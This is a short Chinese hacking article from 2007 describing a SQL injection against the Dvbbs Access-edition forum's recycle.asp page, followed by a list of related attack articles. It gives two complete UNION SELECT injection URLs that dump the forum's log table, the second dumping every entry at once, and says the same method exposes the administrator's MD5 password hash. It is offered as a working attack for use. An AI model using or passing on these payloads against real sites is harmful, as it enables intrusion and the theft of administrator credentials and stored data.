動(dòng)網(wǎng)access版暴log庫終極
更新時(shí)間：2007年01月16日 00:00:00 投稿：mdxy-dxy
動(dòng)網(wǎng)access版暴log庫終極
注:需要獲得前臺(tái)管理員權(quán)限后使用
文章中指定recycle.asp?tablename=Dv_bbs1%20union%20select%201,1,l_content,1,1,1%20from%20dv_log%20where%20l_id=5%20union%20select%201,1,1,1,1,1%20from%20dv_bbs1&page=2000（回收站的最后頁的id），指變換l_id=‘’的值來暴出l_concent的值一次只能暴一個(gè)內(nèi)容，看了下動(dòng)網(wǎng)的數(shù)據(jù)庫表，只要指定l_announceid=0就可以全部暴出，語句這樣構(gòu)造recycle.asp?tablename=Dv_bbs1%20union%20select%201,1,l_content,1,1,1%20from%20dv_log%20where%20l_announceid=0%20union%20select%201,1,1,1,1,1%20from%20dv_bbs1&page=2000嘿嘿，是不是全部暴出來了，構(gòu)造適當(dāng)?shù)恼Z句可以暴出管理員的后臺(tái)md5值等等內(nèi)容。另注：暴出數(shù)據(jù)字段的內(nèi)容是回收站帖子的最后頁！
相關(guān)文章
昨天發(fā)了open寫的Flash 0day生成器，當(dāng)時(shí)忘了說了，是在賞月那里看到的。結(jié)果今天open跟我說發(fā)出來之后，好多人找他問修改方法，所以就有了現(xiàn)在這篇文章。2008-05-05
對超級腳本病毒的構(gòu)思...2007-01-01
典型入侵日志分析...2007-01-01
BBSXP5.15跨站攻擊漏洞...2007-01-01
利用BBSxp后臺(tái)的缺陷得到webshell...2007-03-03
google hack dat 又增加的一些比較新的數(shù)據(jù)
google hack dat 又增加的一些比較新的數(shù)據(jù)2007-01-01
游戲外掛分析2007-01-01
黑客之門的魅力：感染與加載(圖)...2007-01-01
Internet Explorer6最新漏洞代碼...2007-01-01
解密DDoS攻擊——“緩存溢出”新變形...2007-01-01